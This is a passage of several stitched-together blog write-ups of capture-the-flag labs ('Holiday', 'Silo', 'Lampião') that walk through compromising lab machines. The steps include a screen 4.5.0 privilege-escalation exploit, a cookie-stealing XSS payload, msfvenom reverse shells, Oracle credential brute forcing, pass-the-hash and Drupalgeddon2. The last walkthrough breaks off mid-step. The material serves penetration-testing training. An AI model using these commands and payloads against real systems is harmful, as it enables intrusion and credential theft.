find / -perm -4000 2>/dev/null
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-KXDd44jeb6U/W25-wPnVnBI/AAAAAAAAZmQ/HKEioHDM_6IDLQgcvuCVAciEgxq5lziswCLcBGAs/s1600/14.png?w=687&ssl=1)
Per the above output, it has dumped all system binaries having SUID permissions; however /bin/screen-4.5.0 seems to be interesting. Therefore first let us begin escalating the root privileges
Upon searching exploit in kalilinux for the screen-4.5.0 exploit,
searchsploit screen 4.5.0
1
searchsploit screen 4.5.0
From given below image we can observe the highlighted exploit 41154.sh which is a shell script for local privilege escalation.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BKcvSYWM7Bo/WsDxkBrWz1I/AAAAAAAAV7A/iC9ee1xlO_IRtibYWtf_-XuAhm2i2ooZwCLcBGAs/s1600/13.png?w=687&ssl=1)
When we didn’t find any appropriate method to execute this shell script for post exploitation, then we approached the manual compilation method and reviewed its code using cat command.
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
1
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
If you will notice the following code, then you will observe this script is written in C language and we have divided it into three parts for manual compilation.
- Copy Yellow highlighted the code and past it in a text document and save it as libhax.c
- Copy Orange highlighted the code and past it in a text document and save it as rootshell.c
3.Copy the remaining code in notepad , to paste it for the latter part of the section (Compilation of C Program files)
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ui8tANVpMJs/WsDxkanrZqI/AAAAAAAAV7I/ENdFkUnP0sALGaiN5Q6kG_CWagAM5O7gACLcBGAs/s1600/14.png?w=687&ssl=1)
From given below image you can see I have pasted above copied inside the file rootshell.c
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-lKI4tjQ_3wg/WsDxlebigCI/AAAAAAAAV7U/DSziBStSvs0Kd3B3otW61hS6Jbb0600AgCLcBGAs/s1600/16.png?w=687&ssl=1)
From given below image you can see I have pasted above copied inside the file libhax.c
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-L6UlAmep198/WsDxlHRtTxI/AAAAAAAAV7M/ok0obY8OKoMSZhZrbCZhr6i3wCK9Ab9GgCLcBGAs/s1600/17.png?w=687&ssl=1)
We will save the libhax.c and rootshell.c files in the Kali Desktop shell directory for further use. Here we can see the contents of both the files in the below image
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7QcS8_KZ2aw/W25-xH-rNSI/AAAAAAAAZmo/Y6cYrKO75Go932468nL2Io00KVd6_FLDQCLcBGAs/s1600/20.png?w=687&ssl=1)
Now go back to the Meterpreter session and upload the exploit files from Kali machine Meterpreter session to the /tmp directory of the target (victim) machine.
upload libhax.c /tmp
upload rootshell.c /tmp
1
2
upload libhax.c /tmp
upload rootshell.c /tmp
Further, navigate to shell
shell
1
shell
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Compilation of C Program files
Note: Refer to website [To see content please register here] for the below commands
Let’s compile our C program file manually in our local system using gcc as given below.
1. Compile libhax.c file through the following command.
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
1
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
2. Similarly, compile rootshell.c file through the following command.
gcc -o /tmp/rootshell /tmp/rootshell.c
1
gcc -o /tmp/rootshell /tmp/rootshell.c
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-iarNhRN5X6s/W25-xmWXu3I/AAAAAAAAZmw/ck6bY1q3WGEWQpKLYKVehYBcn6Akz-2BACLcBGAs/s1600/22.png?w=687&ssl=1)
Navigate to /etc directory and run the commands further
cd /etc
unmask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
1
2
3
4
cd /etc
unmask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
Proceed forward and access the /tmp/rootshell folder of the victim machine by typing :
/tmp/rootshell
1
/tmp/rootshell
Hurray !! We got into the root
Navigate to the root directory
cd /root
1
cd /root
Let’s see what file it contains
ls
1
ls
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-3rJAomA72NQ/W25-xpKTl-I/AAAAAAAAZm0/B9_j2QTy4vI0S2rZ82-gvo0UzP29dncVwCLcBGAs/s1600/23.png?w=687&ssl=1)
cat flag.txt
1
cat flag.txt
Wonderful!! We have gained access to the flag and hacked this box.
There seems to be another interesting file note.txt, let’s open the same and see what it contains
cat note.txt
1
cat note.txt
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-PlqIPu_S1Lo/W25-x7qArCI/AAAAAAAAZm4/l5oB_mLdcAkRB-HO9qMa3x8WARjhiki1wCLcBGAs/s1600/24.png?w=687&ssl=1)
As we can see there is a clue (vulnerability) for the next part (part 2) of this lab
Stay tuned!! We will be back with the next part of another article!
Hello friends!! Today we are going to solve another CTF challenge “Holiday” which is available online for those who want to increase their skill in penetration testing and black box testing. Holiday is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.25 so let’s begin with nmap port enumeration.
nmap -A -p- 10.10.10.25 --open
1
nmap -A -p- 10.10.10.25 --open
From the given below image, you can observe we found port 22 and 8000 are open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-RxSbhbnw_ZQ/W2gafqrYdzI/AAAAAAAAZVo/mtTstMK4Iy0J6VTLrgyDU0KwxOImAcGxACLcBGAs/s1600/1.png?w=687&ssl=1)
As port 8000 is running http we open the IP address in the browser and find a webpage.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-dF49JgyIfPQ/W2gah6pWXRI/AAAAAAAAZWQ/XNfFFgH_AeIp1Du0DBVXw1N88z7cDq-UgCLcBGAs/s1600/2.png?w=687&ssl=1)
We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-4NNoCakgZTI/W2gakEsumEI/AAAAAAAAZW8/YNo-6knFjHcWpBIlKUhXQbdNr7lGhR2iACLcBGAs/s1600/3.png?w=687&ssl=1)
Dirb scan gives us a link to a directory called /login, we open the link and find a login page.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-lMSHqnz7nfM/W2gallRgoQI/AAAAAAAAZXY/fbeH0Dz00TMOM_MNclbOHq4BksEaJjuYACLcBGAs/s1600/4.png?w=687&ssl=1)
We capture the login request using burpsuite. We use random credentials as a placeholder.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-S8AZjCRUbdE/W2gal-txjcI/AAAAAAAAZXc/I6erIsQvICk98lV3k0VdAphDD7U5HEA_ACLcBGAs/s1600/5.png?w=687&ssl=1)
We use sqlmap to check if it is vulnerable to SQL injection. After finding that it is vulnerable to SQL injection, we use sqlmap to dump the database and find a username “RickA” and password hash.
sqlmap -r sql.txt --dbms=SQLite -T users --columns --dump --batch
1
sqlmap -r sql.txt --dbms=SQLite -T users --columns --dump --batch
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8DgIDVSQPe4/W2gal-SSm4I/AAAAAAAAZXg/UJlGFQve67EYgoRwLAl-IxtihirQIZoWQCLcBGAs/s1600/6.png?w=687&ssl=1)
We use hashkiller.co.uk to decrypt the hash and find the password to the user.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-0gN6NDN1iOE/W2gamEB-DQI/AAAAAAAAZXk/k4ssRplrjREyRsMsep49ZOL4wZjJlASQQCLcBGAs/s1600/7.png?w=687&ssl=1)
We login using these credentials and we are redirected to a page with that looks like it contains useful information.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-jT_7lbCm-Dw/W2gamQRUCYI/AAAAAAAAZXo/fEqfp6gpZVAQQQgayKjOpfyAYnVlhSbwQCLcBGAs/s1600/8.png?w=687&ssl=1)
We click on one of the UUID links and find a page that we can post notes for the users. It also shows that it will take up to 1 minute to post the note.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-KFzE8OAIn_E/W2gamYBF5WI/AAAAAAAAZXs/D397WDgA2oYuT8Qipny62RjZqSPagK3uwCLcBGAs/s1600/9.png?w=687&ssl=1)
We try to exploit the note function and find it is vulnerable xss. As the notes are being read by administrator XSS can be used to get the admin cookie. To run xss and run our payload we need to bypass the filter using javascript function String.fromCharCode to run our payload. I created this script [To see content please register here] to convert a string to ascii code.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-oxi2SGm-wdI/W2gaf3WiaOI/AAAAAAAAZVs/jX1nDexYO60mqvWkX9yJj4mD_TZchTRqgCLcBGAs/s1600/10.png?w=687&ssl=1)
We post the note to bypass the filter we have to use this payload:
<img src="x/><script>eval(String.CharCode(<payload>));</script>">
1
<img src="x/><script>eval(String.CharCode(<payload>));</script>">
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-5PdohSAI5s0/W2gafzI0qgI/AAAAAAAAZVw/4Emi8fCtqcMflSK6kG3p7LJZrqAhbjQZwCLcBGAs/s1600/11.png?w=687&ssl=1)
We set up our listener using nc on port 80, as we will receive the response of the page including the administrator cookie on this port.
nc -lvp 80
1
nc -lvp 80
After waiting for 1 minute we received the admin cookie.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rXa0rumgaSw/W2gagO0uzHI/AAAAAAAAZV4/_Ds2kKKayS4_-6wimcywdYO4x8w-ccUIACLcBGAs/s1600/12.png?w=687&ssl=1)
The cookie is URL encoded we decode and use it hijack the administrator session.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-o7yGj6fbrZc/W2gagHigXhI/AAAAAAAAZV0/6tNtvURdNiwxtgECg0tyizUW0VJNIblLgCLcBGAs/s1600/13.png?w=687&ssl=1)
We capture the webpage’s request using burpsuite. We change our cookie with that of administrator and forward it.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-nUVqx_tDLJU/W2gagTYCWVI/AAAAAAAAZV8/PXrid5a8J6wDC3kL1z8wQFa-58nAw-UjACLcBGAs/s1600/14.png?w=687&ssl=1)
As soon as we forward the request, we are able to successfully hijack the administrator session.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-PvUKtiEa5-E/W2gag--EAjI/AAAAAAAAZWA/UIKrr_M8v-IVt1-npByEQrrHDk-KbolRQCLcBGAs/s1600/15.png?w=687&ssl=1)
We now go to /admin directory and find a page where there are options to export bookings and notes.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-WMhieFoPXgk/W2gag6yTM4I/AAAAAAAAZWE/7UcniIhhBfYqd0SPb-nJIJIGONUdIMD1gCLcBGAs/s1600/17.png?w=687&ssl=1)
We capture the request using burpsuite and check if it is vulnerable to any kind of injection. After enumerating we find that this page is vulnerable to command injection.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xh-HrRxAQlg/W2gagwiBbAI/AAAAAAAAZWI/HX8Me7qaHRkewaKE_PCW1wj-SYQ8PqbbgCLcBGAs/s1600/18.png?w=687&ssl=1)
We are unable to get a shell using web_delivery module of Metasploit due to there being filters. Now we create a payload using msfvenom to upload into the target machine using command injection and get a reverse shell.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.14.8 lport=4444 –f elf > shell
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.14.8 lport=4444 –f elf > shell
After creating a shell, we create a python http server to upload into the target machine.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-S8fhOGgicm8/W2gahmI_WYI/AAAAAAAAZWM/lOc_KCot-6sv_uiOJTeOZN44nRMK6zrNwCLcBGAs/s1600/19.png?w=687&ssl=1)
Now “.” Is not blacklisted so we convert the IP address into a decimal number so that we can bypass the filter.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BbzA2UFvaVc/W2gaiL5rlXI/AAAAAAAAZWY/bo_pQFcd8QIxd7x4gJ6dWRjdxsuSocjlACLcBGAs/s1600/20.png?w=687&ssl=1)
We upload the shell using wget command into the target machine and save it in /tmp directory.
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-UgCMtjASpiQ/W2gaiNcQaoI/AAAAAAAAZWU/NUU85-Fj0ygmHM80uVfI50dgh3lWyLEnwCLcBGAs/s1600/21.png?w=687&ssl=1)
As soon as we run the command we get a prompt that shell is uploaded.
![[Image: 22.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-YAsneieywIg/W2gaie28CcI/AAAAAAAAZWc/c7umSpuR5-MSUU75tonZfzKVKpIHgazhQCLcBGAs/s1600/22.png?w=687&ssl=1)
We give our payload read, write and execute permission using command injection.
Now we set up our listener using Metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-a7UZ25t0aHw/W2gailuuhnI/AAAAAAAAZWk/bGV314URnoYg2efvMHSMsHwtsat0v-iPQCLcBGAs/s1600/24.png?w=687&ssl=1)
We run the shell using command injection vulnerability on the target machine.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-wXXyT32trc8/W2gctHtvE9I/AAAAAAAAZYQ/kCHcNTEMK1Yq9UjoxMaY1OQ9hAN28Hi6gCLcBGAs/s1600/25.png?w=687&ssl=1)
As soon as we run the shell we get a reverse shell.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/--6YkdkVlQrg/W2gcxkERozI/AAAAAAAAZYU/SQaMoPlhkhMKdss9FYVfATm_NqgCQU30QCLcBGAs/s1600/26.png?w=687&ssl=1)
We spawn a tty shell and take a look at the sudoers list and find that we can run /usr/bin/npm I * as root with no password.
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
1
2
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-_fYN-_vFpBY/W2gcyKUTquI/AAAAAAAAZYc/inSD3Fi9OREqAyBqKd8goV1evHzSABMbACLcBGAs/s1600/27.png?w=687&ssl=1)
Before trying to get root shell we first enumerate rest of the directories and find a file called “user.txt” in /home/algernon directory. We take a look at the content of the files and find the first flag.
![[Image: 28.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_-m53qr5EBY/W2gcx3YYfLI/AAAAAAAAZYY/wyve3ptLKisXa_Qhyz8gNaoq-1d_t9aSQCLcBGAs/s1600/28.png?w=687&ssl=1)
Now we try to take root.txt we go to /app directory. We rename package.json to pack, and symlink /root/root.txt package.json
ln -s /root/root.txt package.json
1
ln -s /root/root.txt package.json
![[Image: 29.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-YYV112t8spY/W2gcyOiDU5I/AAAAAAAAZYg/wXyYGHqHq2csTsK-4GmtS3YMig05YSZoACLcBGAs/s1600/29.png?w=687&ssl=1)
We run /usr/bin/npm i * as root user and find the final flag.
![[Image: 30.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-zXv5qWCFSUw/W2gdJSIXb1I/AAAAAAAAZZI/upRGfXbgK2Y70nxvvY53oJe61t7mcdvngCLcBGAs/s1600/30.png?w=687&ssl=1)
After searching through google we find a way to get reverse shell using a package called rimrafall.
![[Image: 31.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-lNnOkYCxqP8/W2gdJRmynbI/AAAAAAAAZZM/uKOYWwjNkV0BrHPJ4zB4eyrrOde1Di-gQCLcBGAs/s1600/31.png?w=687&ssl=1)
We setup rimrafall by following the instructions given on the webpage.
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-DTNuNsrmbYA/W2gdJWqNlDI/AAAAAAAAZZE/iWYZX_Fpj148ik3XKfG8fmmR6nBq9_NFQCLcBGAs/s1600/32.png?w=687&ssl=1)
We set up the JSON file and change the preinstalled script to bash one-liner.
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-6Pm02uFi4YA/W2gdJyhKRKI/AAAAAAAAZZQ/cHZe1E-DBvshbBS1VM-tzEHNmNbvsDcXwCLcBGAs/s1600/33.png?w=687&ssl=1)
We run the command as the root user to get a privileged shell.
sudo npm i rimrafall --unsafe
1
sudo npm i rimrafall --unsafe
![[Image: 34.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-9jcp6CAnzHk/W2gdKP1NKCI/AAAAAAAAZZU/dWrWm36ID8omeku_30YmcA1uVaoxxo3-wCLcBGAs/s1600/34.png?w=687&ssl=1)
We set up the listener as soon as we run the preinstalled shell is getting executed we get a reverse shell.
nc –nvlp 1234
1
nc –nvlp 1234
We go to /root directory and find a file called root.txt. We take a look at the content of the file and find the final flag.
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-lfPUFP9riSs/W2gdKY-7EMI/AAAAAAAAZZY/3N3EkrvGb7w2wso7BDGalA3BdVDISDgagCLcBGAs/s1600/35.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Silo” which is available online for those who want to increase their skill in penetration testing and black box testing. Silo is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Steps Involved:
- Post scanning to discover open ports
- SID brute force
- Credential brute force
- Create payload
- Setup listener
- Upload shell with odat.py
- Getting meterpreter shell
- Finding user.txt
- Downloading zip file from dropbox
- Finding password hashes in memory dump
- Privilege escalation using pass the hash technique
- Finding root.txt
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.82 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.82
1
nmap -A 10.10.10.82
Fromthe given below image, you can observe we find only port 80, 135, 139, 445, 1521, 49152-49161 is open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8T6xaRmhSPE/W2gLEVb138I/AAAAAAAAZUY/S9zwhYY6C_ALfgjvKNv929m2eWBIrLUfgCLcBGAs/s1600/1.png?w=687&ssl=1)
As port 80 is running http server we open the target machine’s ip address in our browser, and find that it contains the default IIS page.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Nsl0_GWEUZk/W2gLGdxjNcI/AAAAAAAAZU0/sxQQQwGP0B8h_Rmx1BIgnm3kScjxYclHgCLcBGAs/s1600/2.png?w=687&ssl=1)
We have oracle database listening remotely on port 1521, we need to find the valid SID and credentials in order to connect to the database.
We first need to get the SID for the oracle service, so we use metasploit to brute force the valid SID.
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/sid_brute) > run
1
2
3
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(admin/oracle/sid_brute) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/sid_brute) > run
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-hZ_fYGXdUIc/W2gLGwcH2CI/AAAAAAAAZU8/G5fUYpPjHPI5g0NWX0ctoHW_bLh7njwWgCLcBGAs/s1600/5.png?w=687&ssl=1)
After finding the SID, we brute force the valid credentials using metasploit.
msf > use auxiliary/admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) > set sid XE
msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) > run
1
2
3
4
msf > use auxiliary/admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) > set sid XE
msf auxiliary(admin/oracle/oracle_login) > set rhost 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) > run
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Kk0_e8iVh1g/W2gLG8_RIrI/AAAAAAAAZU4/K2P4cmIDLvcIIynqqclOAXRaC10LNoQAgCLcBGAs/s1600/6.png?w=687&ssl=1)
We are unable to get a shell with reverse_tcp, so we use the reverse_https payload. We create a 64-bit payload as the nmap scan shows us that the Operating system is 64-bit windows server.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx
1
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.14.8 lport=443 -f aspx > /tmp/Shell.aspx
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-VCwVDJtFQuo/W2gLHCdvC5I/AAAAAAAAZVA/74nkiurM3Ices2IVjHgGiPd6vXu6UVzawCLcBGAs/s1600/7.png?w=687&ssl=1)
We set up our listener before upload the payload to the target machine.
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost 10.10.14.8
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ZDVyhm9-MG8/W2gLHbiWdtI/AAAAAAAAZVE/NtaGCnZIRaQMaHoYJZDhCzPFJKMPEoXVACLcBGAs/s1600/8.png?w=687&ssl=1)
We use this script called odat to further exploit the oracle database(you can download the script [To see content please register here] ). As we have the valid credentials and the valid SID we use this to login into the database and upload our asp shell in the IIS default directory.
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba
1
./odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot\\" shell.aspx /tmp/Shell.aspx --sysdba
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-M667y2DtAZ4/W2gLHsDfxRI/AAAAAAAAZVI/bj6uB01-WW8F4uxb783tCU7pRvprR_OGgCLcBGAs/s1600/9.png?w=687&ssl=1)
As soon as we run the shell on the target machine, we get a reverse shell.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e9-8xpNpfJ4/W2gLEY0O9JI/AAAAAAAAZUQ/_0crMdQ9hGAXGmQn3imREZhPFcX3BUvPQCLcBGAs/s1600/10.png?w=687&ssl=1)
Enumerating through the directories we find two files in “C:\Users\Phineas\Desktop” called “user.txt” and “Oracle issue.txt”. We take a look at the content of user.txt and find our first flag.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-1ef7-CjA2Io/W2gLETizzkI/AAAAAAAAZUU/Y8ed8p-wdecAWOMIK_rqBCVAtGOROYXmQCLcBGAs/s1600/11.png?w=687&ssl=1)
We take a look at the content of “Oracle issue.txt” and find a link to a dropbox and a password in which the first char is not being rendered by kali linux.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ELi1NT2loDI/W2gLFID37EI/AAAAAAAAZUc/STdunQEJKQ4r-UPPwHp3A-5V9EdUGltgQCLcBGAs/s1600/12.png?w=687&ssl=1)
We find the unrecognized character to be the pound symbol (£). We use the password to login and find a zip file, we download the file into our system.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-gSKqhf3Hqzs/W2gLFcoHwKI/AAAAAAAAZUg/8j6Lmvjt8DEdO0shDTrh-_vXBrm7uwBoQCLcBGAs/s1600/13.png?w=687&ssl=1)
After downloading the zip file, we unzip it and find that it contains a memory dump. We use volatility tool to investigate the dump.
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-GJ6GSegy4Jg/W2gLFt9hhcI/AAAAAAAAZUk/idyowReAtnowagyNTMfOY_AID3pqfqoeQCLcBGAs/s1600/14.png?w=687&ssl=1)
We now can dump the hashes by supplying the need address which is SYSTEM and SAM.
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000
1
volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-BpbW6Y-6uBI/W2gLF0Ct4II/AAAAAAAAZUo/7nebrcdNdB4TlNi_fzc8g5rU72J6WfD6gCLcBGAs/s1600/15.png?w=687&ssl=1)
As we have the password hash for “Administrator” we use Pass the Hash technique to get a privileged shell.
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set smbuser Administrator
msf exploit(windows/smb/psexec) > set smbpass <hash>
msf exploit(windows/smb/psexec) > set rhost 10.10.10.82
msf exploit(windows/smb/psexec) > run
1
2
3
4
5
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set smbuser Administrator
msf exploit(windows/smb/psexec) > set smbpass <hash>
msf exploit(windows/smb/psexec) > set rhost 10.10.10.82
msf exploit(windows/smb/psexec) > run
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nPDSGKGyKp4/W2gLFxZfE-I/AAAAAAAAZUs/6qmlQtBim1gltFNrure8uw4xm2or9DjSACLcBGAs/s1600/16.png?w=687&ssl=1)
After getting a privileged shell, inside “C:\Users\Administrator\Desktop” we find a file called root.txt. We open root.txt and find the final flag.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-aZO0342Ip_0/W2gLGSC5bRI/AAAAAAAAZUw/UTUOk1wOQ9g03tO_eS2V6VB1ebXQE-OqwCLcBGAs/s1600/17.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Lampião: 1”. This VM is developed by Tiago Tavares, which is a standard Boot-to-Root challenge. Our goal is to get into the root directory and see the congratulatory message.
Level: Easy
Task: To Find The Final Flag.
Let’s Breach!!
The target holds 192.168.1.105 as network IP; now using nmap lets find out open ports.
nmap -p- -A 192.168.1.105
1
nmap -p- -A 192.168.1.105
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-VuyqbdhpniM/W2dZk4zgZPI/AAAAAAAAZRI/81W7gu1ikxkHrICDO5S1oYaJ4jtXDX5OgCLcBGAs/s1600/1.png?w=687&ssl=1)
Nmap scan shows us port 22, 80, 1898 are open, so we thought of opening the IP address along with the port 1898 in our browser. It also gave us a clue about the webpage that it has Drupal running on it.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-L2K0IcwNXeE/W2dZlB2KUHI/AAAAAAAAZRQ/RO3tZJrDzUUwM4wIE3ChOhcVcQhhc4FBwCLcBGAs/s1600/2.png?w=687&ssl=1)
From the previous clue, we thought of exploiting it by using exploit drupal_drupalgeddon2.
msf > user explot/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
1
2
3
4
msf > user explot/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.105
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
Booyah!! We have got the meterpreter, therefore we thought of checking the description about Victim’s Machine by using the command:
lsb_release -a
1
lsb_release -a
The description gave us a very strong hint from the Version Number of the Victim’s Machine for our Next Step.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZmtaHl01pno/W2dZlGSdPOI/AAAAAAAAZRM/VFhPT025QY0lmbu07-vttCQOXhPfYI6UQCLcBGAs/s1600/3.png?w=687&ssl=1)
After a long search using the earlier clue about the Version Number, We have finally found the exploit that we were looking for and we have downloaded it on our machine.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-7TWlQMf55M0/W2dZl4zwQZI/AAAAAAAAZRY/b0MyryXpOt4j6qJzcnPFUUmK-tu3MKmOgCLcBGAs/s1600/4.png?w=687&ssl=1)
Side by Side we have executed a python server which will help us to download the exploit over Victim’s Machine.
